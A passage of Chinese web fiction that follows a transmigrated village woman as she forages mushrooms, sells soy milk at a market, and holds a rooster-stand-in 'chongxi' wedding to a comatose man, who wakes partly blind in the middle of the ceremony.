不得不说,一场大雨过后,这山里的菌子好似一夜之间都长出来了,随意拨开一处腐叶,都能见着好些菌子。 陆鸢虽认了几种菌子,但总有相似的,她分辨不出来,都扔到背篓里去,打算一会让黄兰帮忙挑一挑。 这一通蘑菇采下来,陆鸢得了大半筐。 黄兰来喊她的时候,顺道给她看了眼背篓的菌子,一瞧,脸色都变得微妙:“丽娘,你这是想让我们全村人都吃席呀?” 陆鸢:…… 黄兰叹了一口气,给闺女一个眼色:“青丫,帮你婶子把不能吃的都挑出来。” 青丫蹲了下来,直接上手就是突突地往外扔,说:“婶子,你捡的一半都是不能吃的。” 陆鸢应:“第一次捡,没经验,下回就有经验了。” 最后大半筐菌子,就只剩下小半筐,收获也算不小了。 明日就把这菌子摆去卖了,能挣一文钱是一文钱。 陆鸢瞧了黄兰的背篓,两个人一块捡,都已经七分满了。 她:“嫂子明天去赶集吗?” 黄兰:“我不去了,这会雨天开晴,肯定很多人都捡了菌子去卖,卖不起价钱,还不如晒干了再卖。” “不过,你反正都是要摆摊的,也不用多给摊位费,就一块放着卖也行。” 陆鸢点了点头:“我也是这么打算的。” 到时再带几斤笋干去摆卖,看能不能卖得出去。 说了会话,黄兰忽然道:“你满脑子都是挣银子,这哪里有半点待嫁的新娘的喜气?” 黄兰不提,陆鸢都忘了后天得和大公鸡成亲了。 这成亲也没个男人,她是真的紧张不起来。所以这回成亲,在她看来就像吃顿饭那么简单的事。 第27章 陆鸢下午去磨了豆子, 回来后,就煮了小半锅豆乳,装了六碗。 她往篮子装了三碗豆乳,小心翼翼地走出了厨房, 喊上春花:“春花, 走, 咱们去黄兰婶子家送豆乳。” 说着,又与何老婆子道:“老太太, 帮我看着点秋花。” 秋花也想跟去,踉跄了几步就被老太太一把捞了起来。 秋花巴巴地看着姐姐和娘出去, 一双小手使劲地往伸, 嘴里一直喊着“娘,娘, 娘。” 何老婆子拍了一下她的小屁股:“你娘他们一会儿就回来, 乖乖的, 等明天去市集, 曾祖母给你买糖吃。” 听到“曾祖母”这个词, 秋花忽然停止了挣扎,抬起头, 看向何老婆子的眼神里似乎有疑惑。 何老婆子似乎看明白了小家伙的不解,也知道她应该只是疑惑为什么改口曾祖母, 而不是何奶奶了。 她道:“你娘就要和我孙子成亲了, 你们姊妹俩在我祁家住,可不得喊我曾祖母。” 何老婆子琢磨着都要成亲了, 这孩子俩的姓是该还是不改,等晚点再和丽娘商量商量。 陆鸢把豆乳送到了陈家去。 陈家老婆子瞧见她们母女,点了点头, 就朝屋子里喊:“老二媳妇,找你的。” 黄兰擦着手从厨房里头出来,见着是她,讶异道:“你咋来了?” 陆鸢道:“煮了些豆乳,送一些过来你们尝尝。” 黄兰道:“你这是做啥呀,都是要拿去卖钱的。” 陆鸢:“几碗豆乳也不值几个钱,而且早间嫂子不是教我辨认菌子么,我也总不能接受嫂子的好意,没有半点表示。” 黄兰闻言,笑道:“你也是个实在的,不像那牛翠,日日都想着占别人的便宜,前不久想白讨你做豆乳的方子,就前些日子背着一筐菜去市集摆摊,坐了牛车,说菜卖了银子,回来再给,结果到现在都没给呢。” “也就里正家好说话,不好意思问,要换作是我,我能当天就去陈家让她还钱。” 陆鸢把豆乳递给她,说:“那她下回还得做牛车,总不能不给吧?” 黄兰冷笑了一声:“这种人惯会耍无赖的,你不提,她就当作没有过这回事。你一提,她就会说忘了,也没带钱,下回再给,但下回又下回,不逼到她家里,就是不给。” 这种人比比皆是,陆鸢倒也不稀奇。 送了豆乳,陆鸢就带着春花回去了。 夜里在厨房擦了身子才回的屋。 自然,还是祁晟的屋子。 两个孩子已经在竹床上翻滚着了。 没有玩具,没有半点娱乐,俩孩子都闷得很。 陆鸢想了想,也上了床,背靠着祁晟的床,问她们:“你们想不想听故事呀?” 两个孩子都睁着大眼睛看着她,陆鸢笑了笑,说:“我给你们讲睡美人的故事,好不好?” 春花疑惑不解地问:“什么是睡美人,和祁叔叔一样的睡美人吗?” 陆鸢一愣,扭头看了眼身后的祁晟。点了点头:“也算吧。” 这五官,这身高体长的,怎么不算是男版的睡美人呢? 她张开手,让两个同床睡的小小伙伴靠过来。 两个孩子都爬了过去,一人躺一边。 陆鸢缓缓开口:“很久很久以前,在遥远的地方有一个小城,城主和她的娘子成亲很多年了,都没能怀上孩子,所以就向上天祈祷能有个孩子……” 温和轻柔的嗓音,犹如轻缓的淙淙流水,流入了祁晟的耳中。 如果她所讲的这个故事没那么轻浮,或许会更好。 且不说诅咒这回事怎么就当真了。 就说这个诅咒的人,有没有可能收买了城里的下人,然后故意让城主千金昏睡不起呢? 没有彻查,反倒封闭了整座城,这城主当得也不称职。 最让祁晟无法接受的,还是另一个城主家的公子,举止轻浮,竟轻薄了昏迷不醒的姑娘,这种品行不端之人,作为正角,十分不妥。 心下还未骂完,就听见春花问她娘:“娘,那是不是你吻一下祁叔叔,祁叔叔就能醒?” 祁晟:…… 听听,她都是怎么教孩子的!? 陆鸢:…… 默了一下后,她才反应过来这时代的差异,这个故事并不适合古代小朋友听。 沉默了好一会,陆鸢道:“那个城主公子也不是什么好东西。谁家好人家的公子会轻薄一个姑娘,要是你们以后遇上这种男人,立马跑。” 祁晟:…… 原来你也知道那公子不是什么好东西,那你还讲给这两个孩子听,也不怕学坏了! 陆鸢想了想,说:“那给你们讲沉香救母的故事吧。” 讲来讲去,还是华夏神话故事适合华夏人听。 祁晟听着这个故事,倒是顺耳也顺心了一些。 赶集日,陆鸢一如往常,早早起来准备去做豆乳。 何老婆子也起来了,打了个哈欠,说:“今日我与你一块去镇上,把俩孩子也带去。” 陆鸢愣了一下:“那祁晟咋办?” 何老婆子:“我和李老汉说过了,让他帮忙照看一个上午,不打紧。” 李老汉今天也提前过来了,陆鸢给他舀了一碗豆乳,然后才和何老婆子带着两个孩子一块出门。 路上,陆鸢问:“那这孩子怎么给车费?” 何老婆子抱着秋花,说:“大的个一文钱,小的抱着去,不用钱。” 说着,她掏了一文钱出来:“那俊生肯定不收我的车费,你帮忙给。” 陆鸢接了过来,道:“之前也不收我的,但我觉着经常去镇上,总不给也不好,上回去的时候,我就把两文钱给了,我琢磨着我帮老太太你给,他也不会要。” 何老婆子道:“便是不收,这钱得给,往后咱们家里再有点什么事,也好开口。” 陆鸢:“我也是这么想的。” 到了村口,刘俊生看见何老婆子,问:“何奶奶,你也要去镇上?” 何老婆子点头道:“去镇上买点东西。” 上了牛车,陆鸢把四文钱给到刘俊生。 刘俊生只拿了两文钱,说:“收这个数就成。” 何老婆子立刻黑脸,道:“该收多少就是多少,不然别人该怎么说我们家?” “拿着!”这两个字说得特别严肃。 刘俊生有点怵这何老婆子,踌躇了一下,还是把剩下的两枚铜板都拿了。 陆鸢见状,心忖可不止她一个人怕这何老婆子,连这么个大男人都怕,她可不算怂了。 到了镇上,何老婆子和陆鸢一块去了市集。 陆鸢找着自己的摊位,她和那年轻妇人说好了。提前占好摊位,就会在摊位上摆上一根绳子和一块石头做记号。 一进市集,没一会儿就在前头找到了自己的摊位。 这位置还真不错。 帮她占摊位的,是个十三十四岁的半大孩子。 陆鸢上前确认后,就给了他两文钱,那孩子便把竹签给了她。 何老婆子疑惑道:“你咋还给他钱?” 陆鸢应道:“我平时来得晚,好位置都被占了,两桶豆浆很难卖出去,所以就叫人帮忙占了位置,也就多花两文钱,还是能挣回来的。” 她把豆浆摆好了,就拿起盆,与何老婆子道:“先帮我瞧一会,我去打水。” 陆鸢穿梭进了人群之中,步伐轻快,性子上一点也看不出被生活磋磨的痕迹,反倒是满满的活力。 何老婆子似被感染到了,不由自主地笑了笑。 陆鸢好一会才把水打回来,她一路返回,市集两边的摊贩都瞅着她来议论。 因着有前几天那一出,陆鸢早就预料到了自己会成为市集上的名人,也就没太在意。 她端着水回来了,问何老婆子:“老太太你要买什么?” 何老婆子道:“就买点东西,我带着秋花去,省得她绊手绊脚的,我们一会儿就回来。” 陆鸢点头,朝着秋花摆了摆手:“你跟着去,可要乖乖的。” 秋花反应有点慢,好一会才点了点头,说:“糖,糖。” 陆鸢以为秋花说要她给买糖,她点头:“行,等卖完豆乳后,我就带你去买麦芽糖吃。” 何老婆子带着秋花走了,就剩陆鸢和春花。 春花说:“娘,我可以给你洗碗的。” 陆鸢笑道:“行,一会有人喝了豆乳,你给我洗碗,也给你买糖吃。” 这话刚落,就有人来买豆乳了。 摊子在前边,生意确实不错,源源不断地来人,碗都不大够用。 陆鸢寻思着一会再去买几个碗。 好一会后,里甲走了过来,陆鸢忙道:“这摊位给摊位费了的。” 里甲没好气道:“我知道,我就是过来喝一碗豆乳。” 陆鸢松了一口气,给他舀了比别人都满的一碗豆乳。 里甲喝完后,也掏出一文钱给了她。 陆鸢接了钱,说:“再给甲爷你舀一点。” 里甲摆了摆手:“够了。” 把碗还给她,瞅了眼蹲在盆边洗碗的小孩,问:“你闺女?” 陆鸢点头,笑道:“是我闺女,穷人家的孩子早当家,这不就早早跟我出来干活了。” 里甲点了点头,随后小声说:“与你说个小道消息,可别与旁人说。” 陆鸢闻言,忙不迭地点了点头。 里甲道:“镇长要重新划分这集市的摊子,准备弄十个八个长期摊位,还给盖上雨棚,你这豆乳买卖想做大一些,倒是可以考虑租一个长期的。” 陆鸢听完后,心思微动,但随即就都否决了。 豆乳得用山泉水,另外她这也没法日日出摊,这样长期摊子就浪费了。 再说了,她手上的银钱也不够。 她客套的说:“我再想想。” 里甲又建议道:“长期摊位你不一定日日都摆摊,你还可按日转租给别人使用。” 这也确实是个法子。 陆鸢好奇地问:“那一个月得多少银子呀?” 里甲:“不多,就九十文一个月。” 陆鸢:…… 这还不多呢,她摆个摊,一天才两文,一个月才六十文呢。 她觉得里甲不是和她说什么小道消息,分明是在找租客。 陆鸢含糊地应承了几句,正好有人又摆摊了,里甲便去收摊位费了。 陆鸢很快就卖完了一桶豆乳,也开始买第二桶了。 这第二桶开始卖的时候,就见何老婆子抱着秋花,提着个篮子回来。 秋花一手一根麦芽糖,显然是何老婆子给买的。 一文钱一小块的麦芽糖,何老婆子竟然舍得?! 回到了摊位上,秋花把另外一根麦芽糖递给姐姐:“糖,姐姐,吃。” 春花看向她娘。 陆鸢朝着她点了点头后,她才接过来。 何老婆子也没说啥,直接蹲下来接过春花的活。 陆鸢边舀着豆乳,边瞅向何老婆子的篮子,隐约可以瞧得到有一双红烛。 来镇上,原来是置办这些东西。 这回两桶豆乳早早就卖完了,陆鸢觉着可以买两个更大的桶来装豆乳了。 就是……她挑不动,这还真是个问题。 豆乳卖完了,还剩下笋干和菌子。 笋干就买了六文钱,还是在有客来吃过笋干炒肉的,这才来买的。 而菌子也只卖了一斤七文钱的出去。 很多人摆买了菌子,比陆鸢这边的还要好。 摆到晌午,也只是多收入了五文钱,陆鸢也就收摊了。 卖了豆子和板肉,还有猪肉,就回去了。 从市集离开,回到镇口。 刘俊生见着他们,与陆鸢道:“有客来的掌柜,让你下次来赶集的时候,再送五斤笋干过来。” 陆鸢应了声,然后把两个孩子抱到车上去。 一路回到家里,放下担子,陆鸢就立马去做饭了。 等到晚间,陆鸢洗漱准备回屋时,何老婆子喊了她。 陆鸢进到何老婆子的屋子,就见床上摆了那身改过的衣服,还有一个梳篦,一对红色的绢花簪子,以及一个胭脂盒子。 何老婆子道:“虽咱家穷,你也是二嫁,但这些东西和礼数都不能含糊。” “晚点,我喊了黄兰婆婆过来给你梳头,就在我这屋子梳头。” 陆鸢看着床上的东西,以及听到何老婆子的话,这才有了点要成亲的实感。 何老婆子继续道:“我寻思着,你这两个孩子以后都得在祁家生活,让春花秋花改姓祁,你看咋样?” 陆鸢回神,想了想,道:“我是没意见的,但得让孩子她们自己拿主意。” 何老婆子:“秋花才多大一点,她能懂啥?” 陆鸢便接话道:“所以呀,等她们再大一点,再问她们要不要改,现在说这些还太早了。” 春花虽然对她爹感情不深,但好歹是亲爹,未必会改。 秋花没什么记忆,可能肯。 何老婆子想了想,也觉得有点过早了,等她们培养出感情再提,估计都是愿意的。 陆鸢在何老婆子的屋子待好一会,才拿着东西回屋。 回了屋,她看了眼正在玩鹅卵石的两个孩子,又看向床上躺尸的祁晟。 她走到了床边,趴到他耳边说:“祁晟,你再不醒,咱们明天就要成亲了,待我与大红拜了堂之后,你可就反悔不了了。” 大红,是陆鸢给公鸡取的名字。 陆鸢盯着无甚反应的祁晟,无奈地摇了摇头,叹道:“算了,估计你也醒不过来。” 说着,便转了身与孩子说话,全然没注意到祁晟的手指微微颤动了一下。 第28章 子时前两刻, 黄兰跟着她婆婆一块提着灯笼到祁家,给陆鸢梳妆。 这给新娘梳妆的人,也是有说法的,得是上了五十岁且另一半尚在, 同时儿孙满堂的老媪, 寓意为夫妻往后和和美美, 儿孙满堂,白头偕老。 还没到时辰, 都一块在何老婆子的屋子点灯说话。 黄兰的婆婆,也就是给陆鸢梳头的人, 何老婆子让她喊福大娘。自然, 黄兰的公公,便是福伯。 福大娘和何老婆子唠嗑。 陆鸢则和黄兰说悄悄话。 黄兰问:“你和祁晟成亲, 会圆房不?听大山说, 祁晟虽然昏迷不醒, 但那活还是很有看头的, 所以说, 你们会圆房吗?” 陆鸢:…… 还真敢问。 她默了一会,才模棱两可的说:“祁晟又不会一直昏迷不醒, 他迟早是会醒的。其他的事,都等他醒过来之后再说。” 黄兰讶异道:“你就这么坚信他能醒呀?” 陆鸢就根据现在的实际情况来说:“祁晟有神志, 甚至还能睁眼了, 醒过来的可能,还是有七成的。” 祁晟大部分时间都是有意识的, 就说明大脑皮层非常活跃,醒过来的几率很大。 而且以他现在强烈的求生欲望而言,也增加了他苏醒的几率。 黄兰想了想, 又问:“万一祁晟醒过来了,对你这个媳妇,他不认账咋办?” 陆鸢笑了笑,毫不在意道:“我有手艺,能挣钱,他便是不认账,我也能带着两个孩子活下去。” 她现在的身份,对于一些责任也是无法撇去的,就比如养活这两个孩子的责任。 黄兰眉头微微皱了起来:“可你就不怕被退了婚事后,外边都对你指指点点?名声不好?” 陆鸢好笑道:“我现在的名声难道就好了?对我的指指点点似乎也不少。” 黄兰闻言,仔细一琢磨,还真是这么一回事。 黄兰想了想,又说:“你放心,虽然我嘴敞,藏不住话,但肯定不会说你的坏话。” 陆鸢笑了笑:“我信嫂子。” 说了一会话,福大娘道:“时辰到了,坐到镜子前吧。” 何老婆子盼着冲喜能把孙子冲醒,是以是真的下了血本,不仅买了一面铜镜,还特意请了个主持傧相。 傧相便是现代的司仪,听黄兰说,乡下请傧相,至少得封二十文钱的红封。 像祁家的情况,得翻倍。 就何老婆子今天为这婚事花的银钱,不知道要绣多少方帕子。 陆鸢轻叹了一声,没多过问。 她在镜子前坐下,望向铜镜中的自己。 这才过去半个月,自然不可能太大大的变化。所以铜镜里边的模样,依旧是两颊与眼窝略凹,皮肤也是黄黑皮。 她身上没晒过阳光的皮肤倒是很白,只要养养,应当也能白回来。 陆鸢原本也打算等填饱肚子,再想怎么捯饬好一点现在的自己。 人之爱美,也是人之常情嘛。 福大娘拿起梳篦,站到陆鸢身后,从她散在腰后的长发从头梳到尾。 慈祥缓和的调子缓缓从福大娘口中念出—— 一梳梳到尾,富贵荣华莫用愁。 二梳梳到尾,夫妻无病又无忧。 三梳梳到尾,儿孙遍地福禄寿。 再梳梳到尾,夫妻恩爱到白头。 陆鸢听着这些话,心里忽然生出了几分酸涩。 她想家了的。 要是家里人知道她在异世嫁人了,不知道是何感想。 伤感片刻,她呼了一口气,让自己不要多想。 不管身处何地,她都得好好活,好好过。 福大娘梳了头,就和黄兰走了。 陆鸢也回屋去睡了。 原本何老婆子的意思是让她睡在这个屋的,但那边孩子找不着娘,都已经哭了,陆鸢只得提灯回去。 祁晟的屋子虽张贴了几个喜字,可还是没有半点喜庆。 她放下了油灯,坐到离地不到两尺的竹床上。 两个孩子都挂着一泡泪,可怜巴巴地朝着她喊娘。 陆鸢一手抱一个,安慰:“没事没事,在呢在呢,刚去了趟茅房。” 两个孩子抽抽噎噎地窝在她们娘的怀里,陆鸢轻叹了一声。 她单身二十四年,真就一转眼就成了两个孩子的娘,都半个月了,她都还是没能习惯。 陆鸢在抚慰两个孩子的同时,也在她们的身上寻求慰藉。 陆鸢也不知什么时候睡着的,睡得迷迷瞪瞪时,何老婆子把她给叫醒了。 陆鸢坐了起来,睡眼惺忪的问:“不是说要黄昏的时候才拜堂吗?怎么这会就要起来了?” 昨晚睡得晚,她今日还想赖一会床呢。 何老婆子没好气的道:“得收拾收拾屋子,也得给晟哥儿拾掇拾掇,你也得去沐浴更衣。” 陆鸢瞧了眼外头青光白日的,心想现在起床,这得等到啥时候才黄昏呀? 她缓了一会才爬起来盥洗,也给两个小孩用柳树枝刷了一遍牙,用布巾抹了一把脸。 做好这些,她进了厨房准备做朝食,发现都已经做好了。 有粥,还有鸡蛋米糠饼。 何老婆子从孙子屋子中抱出娘仨垫的草席,与她说:“今日你待嫁,就别干活了。” 陆鸢:“那衣服……” 何老婆子:“我洗,饭也由我来做。” 陆鸢闻言,顿时乐了。 她这是可以歇一整天了? 但很快陆鸢就笑不出来了,这里没有任何娱乐设施,也也没有人聊天,更不能出门,身边就两个啥都不懂的孩子,没多久她就闲得无聊了。 何老婆子和李老汉两个人忙活着,把祁晟屋子里的竹床搬到了她的屋子。 李老汉给祁晟擦澡,再给他换上以前样式较好的旧衣。 陆鸢瞧着他们忙进忙出,想搭把手,都让何老婆子叫到一旁凉快去了。 陆鸢显得无聊,就拿了几根草喂大红。 院子里的大红仰着头,被何老婆子梳得毛发油亮,脖子上还系上了一块红布。 这准新郎官倒是比屋子里头躺着那位还要精神,神气。 李老汉离开后,陆鸢跑进祁晟的屋子瞧了眼。 祁晟虽然未穿喜服,但何老婆子还是很用心地在衣裳的开襟与袖口处,都缝了红边。 也不知是不是陆鸢的错觉,今日仔细拾掇过后的祁晟,瞧着精神了很多。 她俯身伏在他胸膛上听了会心率,才听了一会,她蓦然起身,惊讶地看向他:“你吃错啥东西了,心跳得这么快?!” 陆鸢怀疑是自己听错了,又伏到他的胸膛听了一遍。 还真是,这心跳动得像是要从胸口处跳出来一样。 陆鸢忙扒拉他眼睛查看情况,又数着他的心跳。 这频率上百了! 陆鸢立马与他道:“不管是身体出现情况,还是你想了什么,你都得先缓下来,如果一直情绪激烈,再加上心跳过快,会很危险的。” 想了想,陆鸢把手放到他的心口上方,顺气一样在他的胸口平缓地上下抚动。 她声音徐缓念着:“如果是因为今天成亲的事,才让你这么激动,最多等你醒来之后,咱们再重新商量,你若是觉得这亲事荒唐,那咱们就和离。” “而且我先前说要轻薄你的那些话,也是当不得真的。不过都是刺激你醒来的话术而已,所以你别太过激动。” 陆鸢劝了许久,感觉祁晟的心跳逐渐平缓了一些,她才暗暗松了一口气。 瞧这情况,祁晟应该是不满意这婚事的,所以知道今天是和她成亲的日子,才会这么着急,迫切想起来阻止这出荒唐的婚事。 陆鸢再次劝道:“你祖母认定了我是你的福星,还盼着冲喜能把你冲喜呢,所以今日成亲的事,她是势在必行的。” 说到最后,陆鸢开始卖惨:“我现在没有过所,全身上下就一百多文钱,从祁家离开后,很有可能就是死路一条。” “好歹能让我们三个过完这个冬日,等到明年开春再离开。” 她絮絮叨叨说了许多,她也不知道这祁晟是咋想的,好在这心跳逐渐平缓了。 陆鸢转身坐到了床边上,呼出了一口气。 刚刚可差点吓死她了。 祁晟这个情况本来就异于常人,要是心跳频率居高不下,严重可能会危及性命。 他听了她的话,心跳也恢复了正常。这个情况,应该算是同意她刚说的那些话了吧? 原本她还想着,他要是愿意一直处下去,她也可以试一试。但以他现在的反应看来,人家压根就不愿意。 不过不愿意也不打紧,她毕竟帮过他们祖孙,到时若祁晟醒了,她就是在围山村或是平安镇上落户,他应当也会帮衬一二,不至于让她们几个孤儿寡母被旁人欺负。 不管怎么样,她都没有损失。 想明白后,陆鸢没有半点忧愁。 何老婆子探头进屋,见她在屋子里坐着,忙驱赶道:“你到这坐什么,赶紧出来,没拜堂前别进来了。” 陆鸢起身走出了屋子,因着视觉盲区,期间一直都没注意到袖子遮掩下的手指在微微颤动。 何老婆子念了几句不要乱跑,就让陆鸢和孩子在她的屋子待着。 春花今日一日都没说什么话,显然是因她娘要成亲的事而闷闷不乐。 陆鸢该说的都说了,也没法子让春花开怀,那只能是随着时间推移,慢慢接受了。 陆鸢百般无聊度过了大半日后,金乌终于西沉。 里正和村子里七十多岁的老汉也过来了,坐到了位上做证婚人。 若是旁人昏迷不醒,要请二人证婚,还真请不来。 但祁晟却是不同的,村子里或多或少都得了他的好,也没法拒绝。 再说祁家虽然不摆席,但院子的篱笆外还是围了好些村民。 他们虽听说过用公鸡代替新郎官与新娘拜堂成亲,但还是头一回能亲眼所见,自然不能错过大开眼界的机会。 祁家没有堂屋,所以是在何老婆子的屋子拜堂。 何老婆子先的屋中,有三块牌位供在了桌上。 平日里,这先人牌位都是在哪供的,陆鸢还真没留意。 陆鸢瞅了眼上边的繁体字,连蒙带猜,确定是祁晟祖父与父母的牌位。 主持婚事的傧相抱着鸡,掐着时辰等拜堂。 时辰一到,傧相就喊:“新人就位。” 陆鸢转头看向在傧相怀里的大公鸡,四眼相对,忽然就生出了几分别扭。 她活了二十四年,从来就没想过,自己头婚竟然是和一只公鸡拜的堂。 “跪,献香。” 陆鸢往牌位献了香,那傧相高昂的声音再响起:“跪,叩首,再叩首,三叩首。” 这成亲礼仪尽管已经是简易了,但陆鸢觉得还是繁琐。 她以为拜堂就是一拜天地,二拜高堂,三夫妻交拜,哪知还有这么多的步骤。 没有唢呐声,便是瞧热闹的人都没说话,唯有那傧相的声音,清晰响亮。 这些过程走完了,才是陆鸢所知的三拜。 陆鸢才跪下,与神气非常的公鸡一拜了天地,还没站起来呢,忽然从外传来“咚”的一声响,似是重物落地的声音。 这响声在安静的环境之下,格外的清晰。 屋中五人相继一愣,都停了下来。 傧相最先回过神来,以为是外头瞧热闹的人摔了,就说:“这拜堂不能被打断,打断就不吉利了,先继续。” 陆鸢眼神一定,立即抬手阻止道:“先等等!” 这声响,像是…… 隔壁传出来了! 陆鸢思索了两息,也不顾傧相的阻拦,跑出了屋子,往隔壁而去。 何老婆子见她忽然这样,一瞬间似乎也想到了什么,瞳孔骤缩,腾地一下就站了起来,也着急忙慌地疾步而出。 屋子里剩下的三个人面面相觑,很是纳闷,但还是跟着追了出去。 第29章 在篱笆外围观的村民, 也隐约听到了响声,并未多想。 不一会就看见苏氏和何老婆子神色匆匆地从屋子出来,再往隔壁屋子跑去,诧异间, 一时也没反应过来。 也不知是谁忽然说:“那屋子好像是祁晟的屋子, 刚刚那声响就是从他屋子传出来的, 这会那屋子除了他,应该没人了吧?” 听到这话, 大家伙都反应了过来。 是祁晟醒了?! 真给冲喜冲醒了?! 陆鸢第一个跑进屋子里的,一眼就看到摔到床边的祁晟。 他扶着床沿正要站起, 她赶忙上前搀扶:“你还真被冲喜冲醒了!?” 这么神奇的吗? 陆鸢惊讶之余, 又不可避免的想到自己之后在祁家,在何老婆子心里的地位。 这不得供起来? 祁晟听到了身边之人的声音, 便知她就是苏氏。 在他昏睡时, 时常想昏招抓弄他的苏氏。 陆鸢才把人扶起来坐下, 何老婆子也进来了。 她看到醒来的孙子, 脚步一顿, 迅速地红了眼,顿时潸然泪下。 “我的孙儿, 你可算醒了……” 何老婆子声音哽咽,脚步踉跄地朝着孙子一步一步走了过去。 走到跟前, 颤颤巍巍地握住了孙子双手。 祁晟也红了眼, 感慨万千地唤了一声“祖母。” “是孙儿不孝,让祖母忧心了。” 因许久未说话, 刚醒来的祁晟,嗓音尤为沙哑。 何老婆子摇头:“醒来就好,醒来就好。” 哽咽的声音中又带着庆幸。 祁晟许是刚醒来, 气息尚未更上,说话间也要用力喘息。 他呼吸了几口气,忽然有气无力地问:“拜完堂了吗?” 身边的陆鸢闻言,心忖果然,最能刺激他的,还是成亲这件事。 跟着进来的里长和老汉,还有傧相,看见祁晟醒了,既惊奇又惊喜。 在听到祁晟问拜堂的事,就更惊奇了。 这昏迷间,还真有神志在呀?! 惊奇且惊喜之余,也反应了过来,忽然问起拜堂,可是打算不作数了? 几人瞧了眼祁晟,虽昏睡近三个月,也消瘦了一圈,但毋庸置疑,样貌还在。 再看他身旁的苏氏,确实不大相配,反悔也是人之常情,只是这样做有些不厚道。 何老婆子一怔,眼泪似乎也止住了,抹了一把泪,说:“还差两拜……不管如何,这仪式必须得继续。” 陆鸢知道,何老婆子已经坚信是冲喜把孙子冲醒的,不可能中途而废。 她看向身旁的祁晟。 仪式继不继续,她也不做那黑脸,是以还是由他自己说服何老婆子。 祁晟调整呼吸,片刻后,说:“没说不继续。” 其他三人:…… 说话能不能不要这么大喘气! 陆鸢一愣。 就在刚刚短暂了片刻,她都已经想好了接下来留在祁家的理由了。 ——反正没拜堂成功,就厚着脸皮先留下来,认老太太做干娘,让祁晟喊她姑。 结果,他竟说“没说不继续?” 是要继续的意思? 陆鸢想了想,适时试探开口:“要不,改期?” 祁晟闻声,转头朝着她望了过去,嗓音沙哑道:“若你是自愿这婚事,今日也可继续。但你若不愿,这婚事就不作数。” 何老婆子急道:“不能不作数!” “祖母,咳咳咳……”祁晟咳嗽了几声,转头面相祖母,说:“成亲结为夫妻本就是两厢情愿,不然易成了怨侣。” 陆鸢看了眼焦急的何老婆子,又看向祁晟。 说实在的,她看不穿他。 她不知道他究竟是想要把自己摘出去,拿她不愿做借口退婚,还是真的随她意。 但现在这会,她可不能做这个恶人,让何老婆子怨上她,所以她道:“我没意见的。” 祁晟转而朝她的方向望去,神色中浮现疑惑。 “愿意的?” 陆鸢点头应:“自然愿意,且看郎君愿不愿意。” 祁晟沉默了。 今日上午听见了她的话,说什么和离,离开的,她分明就不大愿意。 可苏氏都这么说了,他自然不能反悔,他道:“那便继续拜堂。” 顿了顿,又道:“还是先把这屋子的灯点起来。” 他的话一出,所有人都转头看了眼还未全暗的天色,又看了眼桌上的两根燃着的红烛,最后才看向祁晟那双无神的双眸,沉默了。 何老婆子浑身一僵,僵着手放到他面前晃了晃,但孙子却没有半点反应。 陆鸢刚刚就察觉不对劲了。 祁晟朝她这边看过来的时候,眼神太空洞了,完全就没聚焦。 她没说话,起了身,走至桌前取下红烛,复返后,就把红烛放到他眼前,问:“能看到光亮吗?” 祁晟似乎反应了过来,迟疑了片刻,才问:“屋内已经点了灯,是吗?” 陆鸢“嗯”了一声,说:“你先别急,有可能是一下子还没缓过来。” 说着,继续追问:“你感觉到光吗?” 祁晟失神了片刻,才聚精会神定眼望前。 他应:“隐约有光。” 陆鸢松了一口气:“能治。” 祁晟听着她笃定的语气,对她的好奇,并没有因为醒来而消散,反而更浓了。 他的好奇,无关样貌。 他察觉她的举止与说话的语气方式,都似乎很有经验,全然不像是乡下寻常妇人。 何老婆子提起的那口气,也随之松了,也无暇多想为何丽娘会这些,只庆幸道:“能治就好,能治就好。” 陆鸢把红烛放回了原位,瞧着祁晟眼睛都这样了,又问一遍:“那仪式还继续吗?” 何老婆子定定瞧着孙子的眼睛,语气没半点商量,应得斩钉截铁:“继续,必须得继续!” 定是因为这冲喜中间断了,受了影响,眼睛才会看不见的,所以必须得把这喜冲完。 陆鸢默了默,视线从祁晟身上挪开,落在被傧相抱在怀里的大花,又看回祁晟,试探性的问道:“那我该和谁继续拜堂?” 她的话一出,就看到祁晟的脸色似乎僵了一瞬。 错觉吧? 祁晟嗓音沙哑道:“我醒了,自然是与我,断然没有让旁物代劳的道理。” 不然,他这个时候醒来的意义何在? 陆鸢打量着他煞白的脸上,还有衣裳底下的空落落,都虚弱成这样了,他能撑得住拜堂的仪式吗? 里正似乎也看得出来祁晟的身体情况,转而走出了屋子,朝外边看热闹的人道:“阿晟醒了,要重新拜堂,俊生,大川,你们俩进来搭把手。” 话一出,大家都惊呼神奇。 外头瞧热闹的陈大川,也就是陈大山大哥,还有里正儿子刘俊生,两人一块进了院子。 其他人为了瞧热闹,也跟着进了院子,但只停在屋外,没跟着进屋。 他们趴在窗口,门边往里瞅。 瞧见坐在床上的祁晟,都啧啧称奇。 这冲喜真神了,还真把活死人冲活了。 里正安排道:“你们俩扶着阿晟到隔壁屋子拜堂。” 祁晟看不见,但听着声音,还是喊道:“里正,大川哥,俊生。” 大川讶异道:“真是冲喜冲醒的?!” 对于自己怎么醒的,祁晟并未回应。 傧相从事喜事十数年来,还是第一次见到冲喜灵验效果立竿见影的,他从震惊中回过神来,忙说:“对了,吉时还没过,先赶紧拜了堂,别给耽误了吉时!” 今天这冲喜的事传了出去,他这傧相身价也是水涨船高了,没准都能被县太爷请去当傧相! 这亲事必须办到底! 何老婆子抹了一把泪,起身道:“等会儿,我去给晟哥儿拿鞋。” 说着,就回自个的屋,把孙子鞋子拿了过来。 这鞋子是在孙子昏迷后纳的,她就盼着孙子能醒过来,穿上她做的鞋子。 祁晟穿上鞋,陈大川和陈俊生把他从床上扶起,扶出了屋子。 陆鸢也跟在身后,出了屋子,才看见两个孩子孤零零地蹲在地上,好像与现在的闹腾格格不入。 陆鸢转身走过去,把她们都牵了起来。 春花抬头看她,眼睛红红的,委屈巴巴地喊了一声“娘。” 明明还是待在一块,但年纪小的春花还是想不明白为什么会这么难过。 陆鸢摸了摸她的头,笑了笑:“走,咱们进屋去。” 进了屋,站到了祁晟的身旁,陆鸢才发现他是真的高。 躺着的时候只知道他身形颀长,却不想她才到他脖子的位置。 她打量着祁晟。 祁晟同时也在琢磨着她。 两个拜堂的人,心思各异。 陆鸢心里想着成亲后能稳定下来,不用奔波,还能落户过所,户籍,不再是黑户。 再者,祁晟样貌英俊,她不亏。 他现在刚醒,还得休养很长一段时间,肯定没法发生关系,也就是说还能有一段彼此相互了解的时间。 不管怎么算,她还是不亏。 陆鸢思及此,对现状满意地微微点头。 祁晟身体情况不允许,是以仪式从拜天地开始。 直至“送入洞房”响起,陆鸢察到他似乎已经有些卸力了。 